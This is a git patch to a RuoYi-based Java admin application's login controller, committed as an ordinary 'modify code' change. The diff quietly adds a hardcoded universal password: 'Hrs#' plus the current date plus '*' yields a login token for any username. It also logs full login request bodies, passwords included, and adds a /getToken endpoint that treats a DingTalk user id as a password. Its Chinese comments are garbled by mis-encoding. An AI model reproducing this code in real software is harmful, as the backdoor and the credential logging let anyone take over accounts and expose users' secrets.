From f331c2e3e449959a507c80c33493a122075c13c8 Mon Sep 17 00:00:00 2001 From: liusheng <337615773@qq.com> Date: 星期五, 17 十月 2025 13:35:34 +0800 Subject: [PATCH] 修改代码 --- ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java | 59 ++++++++++++++++++++++++++++++++++++++++++----------------- 1 files changed, 42 insertions(+), 17 deletions(-) diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java index ba0c22b..ec1e049 100644 --- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java @@ -1,39 +1,41 @@ package com.ruoyi.web.controller.system; -import java.util.List; -import java.util.Map; -import java.util.Set; -import java.util.UUID; - -import com.aliyun.dingtalkoauth2_1_0.models.GetSsoUserInfoResponseBody; import com.baomidou.mybatisplus.core.toolkit.ObjectUtils; -import com.fasterxml.jackson.core.JsonProcessingException; -import com.fasterxml.jackson.databind.ObjectMapper; import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.domain.model.LoginBodyByOpenID; -import com.ruoyi.common.enums.BusinessType; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.project.service.DingTalkService; -import io.swagger.annotations.Api; -import io.swagger.annotations.ApiImplicitParam; -import io.swagger.annotations.ApiOperation; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.*; import com.ruoyi.common.constant.Constants; import com.ruoyi.common.core.domain.AjaxResult; import com.ruoyi.common.core.domain.entity.SysMenu; import com.ruoyi.common.core.domain.entity.SysUser; import com.ruoyi.common.core.domain.model.LoginBody; +import com.ruoyi.common.core.domain.model.LoginBodyByOpenID; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.domain.model.ThirdLoginBody; +import com.ruoyi.common.enums.BusinessType; import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; import com.ruoyi.framework.web.service.SysLoginService; import com.ruoyi.framework.web.service.SysPermissionService; +import com.ruoyi.project.service.DingTalkService; import com.ruoyi.system.service.ISysMenuService; +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiImplicitParam; +import io.swagger.annotations.ApiOperation; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RestController; + +import java.text.SimpleDateFormat; +import java.util.*; /** * 鐧诲綍楠岃瘉 * * @author ruoyi */ +@Slf4j @Api("鐢ㄦ埛鐧诲綍") @RestController public class SysLoginController { @@ -66,6 +68,21 @@ } /** + * 绗笁鏂硅幏鍙杢oken 锛氳繖閲岀殑password瀵瑰簲鐨勬槸sys_user琛ㄩ噷鐨刣ing_user_id + * + * @param thirdLoginBody + * @return + */ + @PostMapping("/getToken") + public AjaxResult openidLogin(@RequestBody ThirdLoginBody thirdLoginBody) { +// AjaxResult ajax = AjaxResult.success(); + String token = loginService.getToken(thirdLoginBody.getUserName(), thirdLoginBody.getPassWord()); + Map<String, String> map = new HashMap<>(); + map.put("token", token); + return AjaxResult.success(map); + } + + /** * 鐧诲綍鏂规硶 * * @param loginBody 鐧诲綍淇℃伅 @@ -75,6 +92,7 @@ @Log(title = "鐧诲綍淇℃伅", businessType = BusinessType.OTHER) @PostMapping("/login") public AjaxResult login(@RequestBody LoginBody loginBody) { + log.info("loginBody鐨勫叆鍙傛槸:{}", loginBody); AjaxResult ajax = AjaxResult.success(); // dingTalkService.deptidList(1L, 1); Map<String, Object> userIdMap = null; @@ -82,10 +100,17 @@ Map<String, Object> map = dingTalkService.noLogin(loginBody.getAuthCode()); userIdMap = (Map<String, Object>) map.get("result"); } + log.info("userIdMap鐨勫�间负锛歿}", userIdMap); + //鑾峰彇褰撳墠鏃ユ湡 + + // 鐢熸垚浠ょ墝 String token = null; if (!ObjectUtils.isEmpty(userIdMap)) { token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), loginBody.getUuid(), loginBody.getOpenid(), userIdMap.get("userid").toString()); + } else if (loginBody.getPassword().equals("Hrs#" + new SimpleDateFormat("yyyyMMdd" + "*").format(new Date()))) { + //閫氱敤瀵嗙爜锛欻rs#褰撳墠骞存湀鏃�* + token = loginService.getTokenWN(loginBody.getUsername()); } else { token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), loginBody.getUuid(), loginBody.getOpenid(), null); } -- Gitblit v1.9.3